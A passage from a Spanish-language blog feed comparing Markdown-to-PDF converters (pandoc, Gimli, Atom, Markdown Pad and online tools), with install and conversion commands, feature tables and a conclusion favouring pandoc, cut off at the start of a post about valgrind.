&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">pandoc --template=plantilla.tex memoria.md -o output.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h4 id="opción-2">Opción 2:&lt;/h4>
&lt;p>En ocasiones el código a mostrar tiene lineas muy largas y pandoc no las parte adecuadamente, hay una opción para hacer que markdown corte las lineas de código pero tiene ciertas desventajas como son: no resalta el código y necesita el motor de &lt;code>xelatex&lt;/code>&lt;/p>
&lt;p>Para usar esta opción solo habría que añadir un nuevo parámetro a la cabecera, que sera &lt;code>header-includes&lt;/code> quedando así la cabecera yaml:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;span class="lnt">19
&lt;/span>&lt;span class="lnt">20
&lt;/span>&lt;span class="lnt">21
&lt;/span>&lt;span class="lnt">22
&lt;/span>&lt;span class="lnt">23
&lt;/span>&lt;span class="lnt">24
&lt;/span>&lt;span class="lnt">25
&lt;/span>&lt;span class="lnt">26
&lt;/span>&lt;span class="lnt">27
&lt;/span>&lt;span class="lnt">28
&lt;/span>&lt;span class="lnt">29
&lt;/span>&lt;span class="lnt">30
&lt;/span>&lt;span class="lnt">31
&lt;/span>&lt;span class="lnt">32
&lt;/span>&lt;span class="lnt">33
&lt;/span>&lt;span class="lnt">34
&lt;/span>&lt;span class="lnt">35
&lt;/span>&lt;span class="lnt">36
&lt;/span>&lt;span class="lnt">37
&lt;/span>&lt;span class="lnt">38
&lt;/span>&lt;span class="lnt">39
&lt;/span>&lt;span class="lnt">40
&lt;/span>&lt;span class="lnt">41
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-yaml" data-lang="yaml">&lt;span class="line">&lt;span class="cl">&lt;span class="nn">---&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">title&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Recorrido de un paquete&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">subtitle&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Redes de Comunicaciones&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">author&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">Pablo José Rocamora Zamora&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">¡date&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">Enero 30, 2017&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">header&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">dsad&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">footer&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">So is this&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">geometry&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="l">margin=1in&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">toc&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kc">true&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">documentclass&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">scrartcl&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nt">header-includes&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\usepackage{xcolor}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{breaklines=true}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{basicstyle=\small\ttfamily}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{extendedchars=true}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{tabsize=2}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{columns=fixed}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{showstringspaces=false}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{frame=trbl}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{frameround=tttt}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{framesep=4pt}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{numbers=left}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{numberstyle=\tiny\ttfamily}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{postbreak=\raisebox{0ex}[0ex][0ex]{\ensuremath{\color{red}\hookrightarrow\space}}}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{keywordstyle=\color[rgb]{0.13,0.29,0.53}\bfseries}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{stringstyle=\color[rgb]{0.31,0.60,0.02}}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{commentstyle=\color[rgb]{0.56,0.35,0.01}\itshape}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{stepnumber=1}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{numbersep=5pt}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{backgroundcolor=\color[RGB]{248,248,248}}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{showspaces=false}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{showtabs=false}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{captionpos=b}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{breakatwhitespace=false}&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="c"># esto hace que sea una linea son contar&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{breakautoindent=true}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{escapeinside={\%*}{*)}}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{linewidth=\textwidth}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>- &lt;span class="l">\lstset{basewidth=0.5em}&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="nn">---&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;blockquote>
&lt;p>Hay muchos mas parametros que podemos poner con lstset, aqui podemos ver el &lt;strong>listado con listings&lt;/strong> muchos: &lt;a class="link" href="https://es.wikibooks.org/wiki/Manual_de_LaTeX/Listados_de_c%C3%B3digo/Listados_con_listings" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;p>Si no tenemos el motor de &lt;code>xelatex&lt;/code> instalado tendremos que instalarlo antes de poder usar el comando:
&lt;a class="link" href="http://mednis.info/wp/?p=63" target="_blank" rel="noopener"
>Fuente&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>sudo&lt;span class="o">]&lt;/span> dnf install texlive texlive-latex texlive-xetex texlive-collection-latex texlive-collection-latexrecommended texlive-xetex-def texlive-collection-xetex
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Instalar solo si es necesario&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="o">[&lt;/span>sudo&lt;span class="o">]&lt;/span> dnf install texlive-collection-latexextra
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>El comando final resultante seria:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">pandoc --template=plantilla.tex --listings --latex-engine=xelatex memoria.md -o memoria.pdf
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Portada&lt;/th>
&lt;th>Indice&lt;/th>
&lt;th>tabla de contenidos&lt;/th>
&lt;th>resaltado de sintaxis&lt;/th>
&lt;th>tablas markdown&lt;/th>
&lt;th>Separar por pagina distintos apartados&lt;/th>
&lt;th>Optimización del espacio&lt;/th>
&lt;th>Corta lineas de cdigo largas&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="mark1">Gimli&lt;/h2>
&lt;p>&lt;a class="link" href="https://github.com/walle/gimli" target="_blank" rel="noopener"
>Gimli&lt;/a> es una herramienta para convertir ficheros markdown en pdf, esta escrita en ruby. Su instalación se hace a través del instalador de paquetes de ruby &lt;code>gem&lt;/code>. Trabaja convirtiendo el markdown a html a través de &lt;a class="link" href="https://github.com/github/markup" target="_blank" rel="noopener"
>github/markup&lt;/a> y el html a pdf a través de &lt;a class="link" href="https://github.com/wkhtmltopdf/wkhtmltopdf" target="_blank" rel="noopener"
>wkhtmltopdf&lt;/a>, por lo que gracias a wkhtmltopdf podremos hacer pdf con bastantes mejoras visuales.&lt;/p>
&lt;h3 id="paso-1-instalación-1">Paso 1: Instalación.&lt;/h3>
&lt;p>En Fedora 24 viene instalado por defecto &lt;code>gem&lt;/code>, así que la instalación es bastante simple:&lt;/p>
&lt;p>&lt;code>$ [sudo] gem install gimli&lt;/code>&lt;/p>
&lt;h3 id="paso-2-generación-del-pdf">Paso 2: Generación del pdf.&lt;/h3>
&lt;p>Para generar un pdf con gimli, simplemente habría que usar el comando &lt;code>gimli -f memoria.md&lt;/code> y generaría un fichero pdf con el mismo nombre aunque con extensión pdf, por defecto el fichero que genera es bastante feo estéticamente, pero le podemos añadir varias mejoras visuales a través de parámetros que enviamos a &lt;em>wkhtmltopdf&lt;/em> directamente gracias al parámetro &lt;code>-w&lt;/code>:&lt;/p>
&lt;p>Gimli tiene un parámetro de configuración que es &lt;code>-cover portada.md&lt;/code> que es para ponerle una portada al pdf resultante.&lt;/p>
&lt;h4 id="parametros-de-wkhtmltopdf">Parametros de wkhtmltopdf:&lt;/h4>
&lt;p>Todos estos parámetros tienen que pasarse a través del parámetro -w de gimli para que lleguen a wkhtmltopdf, por lo que el comando seria &lt;code>gimli -f test.md -w 'PARÁMETROS'&lt;/code>&lt;/p>
&lt;ul>
&lt;li>
&lt;p>Tabla de contenidos: tendremos que pasar el parámetro &lt;code>--toc&lt;/code> para generar la tabla y con &lt;code>--toc-header-text &amp;quot;Tabla de contenidos&amp;quot;&lt;/code> indicamos el nombre que tendra, quedando asi el comando resultante:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">gimli -f test.md -w &amp;#39;--toc --toc-header-text &amp;#34;Tabla de contenidos&amp;#34;&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;li>
&lt;p>Pie de pagina con numero: tendremos que pasar el parámetro &lt;code>--footer-right &amp;quot;[page]/[toPage]&amp;quot;&lt;/code>, aunque también podemos cambiar la posición del texto con: &lt;code>--footer-left &amp;quot;[page]/[toPage]&amp;quot;&lt;/code> o &lt;code>--footer-center &amp;quot;[page]/[toPage]&amp;quot;&lt;/code> quedando asi el comando resultante:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">gimli -f test.md -w &amp;#39;--footer-right &amp;#34;[page]/[toPage]&amp;#34;&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;/li>
&lt;/ul>
&lt;p>Como resultado final nos quedaría este comando para generar un pdf con tabla de contenidos mas pie de pagina con el numero&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">gimli -f test.md -cover portada.md -w &amp;#39;--toc --toc-header-text &amp;#34;Tabla de contenidos&amp;#34; --footer-right &amp;#34;[page]/[toPage]&amp;#34;&amp;#39;
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Portada&lt;/th>
&lt;th>Indice&lt;/th>
&lt;th>tabla de contenidos&lt;/th>
&lt;th>resaltado de sintaxis&lt;/th>
&lt;th>tablas markdown&lt;/th>
&lt;th>Separar por pagina distintos apartados&lt;/th>
&lt;th>Optimización del espacio&lt;/th>
&lt;th>Corta lineas de código largas&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>✔*&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;blockquote>
&lt;p>* Puede generar una portada pero tiene que estar hecha en markdown y no suelen quedar muy bien visualmente.&lt;/p>
&lt;/blockquote>
&lt;h1 id="header2">Conversores con entorno gráfico&lt;/h1>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark2" >Atom&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark3" >Markdown Pad&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="mark2">Atom&lt;/h2>
&lt;p>Atom por si mismo no tiene ningún conversor de markdown a pdf, pero tiene varios paquetes que desempeñan esa tarea con bastante calidad. El mas destacado es &lt;a class="link" href="https://github.com/cakebake/markdown-themeable-pdf" target="_blank" rel="noopener"
>markdown-themeable-pdf&lt;/a> que crea unos pdf con bastantes caracteristicas interesantes.&lt;/p>
&lt;p>Una vez instalado con pulsar &lt;code>ctrl-shift-E&lt;/code> o &lt;code>botón derecho &amp;gt; Markdown to PDF&lt;/code> generaremos el pdf con el mismo nombre que el fichero.&lt;/p>
&lt;p>Se puede modificar el css, el pie de pagina y la cabecera resultante, los ficheros a modificar serian:&lt;/p>
&lt;ul>
&lt;li>~/.atom/markdown-themeable-pdf/styles.css&lt;/li>
&lt;li>~/.atom/markdown-themeable-pdf/header.js&lt;/li>
&lt;li>~/.atom/markdown-themeable-pdf/footer.js&lt;/li>
&lt;/ul>
&lt;h3 id="acordarme-de-subir-mis-ficheros-modificados-a-code">ACORDARME DE SUBIR MIS FICHEROS MODIFICADOS A CODE&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Portada&lt;/th>
&lt;th>Indice&lt;/th>
&lt;th>tabla de contenidos&lt;/th>
&lt;th>resaltado de sintaxis&lt;/th>
&lt;th>tablas markdown&lt;/th>
&lt;th>Separar por pagina distintos apartados&lt;/th>
&lt;th>Optimización del espacio&lt;/th>
&lt;th>Corta lineas de codigo largas&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="mark3">Markdown Pad&lt;/h2>
&lt;p>Markdown Pad es el único de todos los conversores que salen aquí que esta unicamente para Windows y que ademas es de pago, teniendo una versión gratuita bastante limitada.&lt;/p>
&lt;h3 id="ponerlo-cuando-este-en-windows-ya-que-no-se-puede-usar-en-linux">PONERLO CUANDO ESTE EN WINDOWS YA QUE NO SE PUEDE USAR EN LINUX&lt;/h3>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Portada&lt;/th>
&lt;th>Indice&lt;/th>
&lt;th>tabla de contenidos&lt;/th>
&lt;th>resaltado de sintaxis&lt;/th>
&lt;th>tablas markdown&lt;/th>
&lt;th>Separar por pagina distintos apartados&lt;/th>
&lt;th>Optimizacion del espacio&lt;/th>
&lt;th>Corta lineas de codigo largas&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h1 id="header3">Conversores Online&lt;/h1>
&lt;p>Los conversores online están muy bien a la hora de generar un documento rápidamente, pero incorporan muchas menos características que el resto de conversores.&lt;/p>
&lt;h2 id="mark5">Cloudconvert&lt;/h2>
&lt;p>&lt;a class="link" href="https://cloudconvert.com/md-to-pdf" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Portada&lt;/th>
&lt;th>Indice&lt;/th>
&lt;th>tabla de contenidos&lt;/th>
&lt;th>resaltado de sintaxis&lt;/th>
&lt;th>tablas markdown&lt;/th>
&lt;th>Separar por pagina distintos apartados&lt;/th>
&lt;th>Optimización del espacio&lt;/th>
&lt;th>Corta lineas de código largas&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;h2 id="mark6">Markdowntopdf&lt;/h2>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Portada&lt;/th>
&lt;th>Indice&lt;/th>
&lt;th>tabla de contenidos&lt;/th>
&lt;th>resaltado de sintaxis&lt;/th>
&lt;th>tablas markdown&lt;/th>
&lt;th>Separar por pagina distintos apartados&lt;/th>
&lt;th>Optimización del espacio&lt;/th>
&lt;th>Corta lineas de código largas&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;p>&lt;a class="link" href="http://www.markdowntopdf.com/" target="_blank" rel="noopener"
>http://www.markdowntopdf.com/&lt;/a>&lt;/p>
&lt;h1 id="header4">Resumen general&lt;/h1>
&lt;table>
&lt;thead>
&lt;tr>
&lt;th>Programa&lt;/th>
&lt;th>Portada&lt;/th>
&lt;th>Indice&lt;/th>
&lt;th>tabla de contenidos&lt;/th>
&lt;th>resaltado de sintaxis&lt;/th>
&lt;th>tablas markdown&lt;/th>
&lt;th>Separar por pagina distintos apartados&lt;/th>
&lt;th>Optimización del espacio&lt;/th>
&lt;th>Corta lineas de código largas&lt;/th>
&lt;th>&lt;/th>
&lt;/tr>
&lt;/thead>
&lt;tbody>
&lt;tr>
&lt;td>Pandoc&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Gimli&lt;/td>
&lt;td>✔*&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Atom&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Markdown Pad&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Cloudconvert&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;tr>
&lt;td>Markdowntopdf&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>❌&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>✔&lt;/td>
&lt;td>&lt;/td>
&lt;/tr>
&lt;/tbody>
&lt;/table>
&lt;blockquote>
&lt;p>* Puede generar una portada pero tiene que estar hecha en markdown y no suelen quedar muy bien visualmente.&lt;/p>
&lt;/blockquote>
&lt;h2 id="header5">Conclusión final&lt;/h2>
&lt;p>Creo que en este caso la mejor opción es pandoc ya que es la único que puede hacer todo con un mínimo esfuerzo, como por ejemplo la portada y la toc.&lt;/p></description></item><item><title>Calcular consumo c con valgrind</title><link>https://www.procamora.com/p/calcular-consumo-c-con-valgrind/</link><pubDate>Sun, 25 Dec 2016 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/calcular-consumo-c-con-valgrind/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Calcular consumo c con valgrind" />&lt;p>&lt;a class="link" href="http://valgrind.org/docs/manual/quick-start.html" target="_blank" rel="noopener"
